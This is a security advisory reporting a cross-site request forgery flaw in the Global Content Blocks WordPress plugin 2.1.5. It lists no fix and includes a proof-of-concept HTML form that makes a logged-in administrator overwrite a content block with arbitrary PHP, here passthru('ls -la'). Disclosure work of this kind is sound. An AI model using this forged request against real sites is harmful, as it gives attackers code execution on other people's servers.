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WordPress Global Content Blocks 2.1.5 Cross Site Request Forgery
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Cross-Site Request Forgery in Global Content Blocks WordPress Plugin
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Yorick Koster, July 2016
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Abstract
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It was discovered that the Global Content Blocks WordPress Plugin is
vulnerable to Cross-Site Request Forgery. Amongst others, this issue can
be used to update a content block to overwrite it with arbitrary PHP
code. Visiting a page or blog post that uses this content block will
cause the attacker's PHP code to be executed.
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OVE ID
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OVE-20160712-0031
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Tested versions
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This issue was successfully tested on Global Content Blocks WordPress
Plugin version 2.1.5.
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Fix
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There is currently no fix available.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_global_content_blocks_wordpress_plugin.html
The issue exists due to the fact that Global Content Blocks does not use the Cross-Site Request Forgery protection provided by WordPress. Actions with Global Content Blocks have a predictable format, thus an attacker can forge a request that can be executed by a logged in Administrator. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
Proof of concept
The following proof of concept will update/overwrite the content block with id 1. In order to run the attacker's PHP code, a page/blog needs to be viewed that contains this content block (eg, [contentblock id=1]).
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=global-content-blocks" method="POST">
<input type="hidden" name="gcb_view" value="update" />
<input type="hidden" name="update_it" value="1" />
<input type="hidden" name="gcb_name" value="Foo" />
<input type="hidden" name="gcb_custom_id" value="" />
<input type="hidden" name="gcb_type" value="php" />
<input type="hidden" name="gcb_description" value="" />
<input type="hidden" name="gcbvalue" value="passthru('ls -la');" />
<input type="hidden" name="gcb_updateshortcode" value="Update" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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03 Mar 2017 00:00Current
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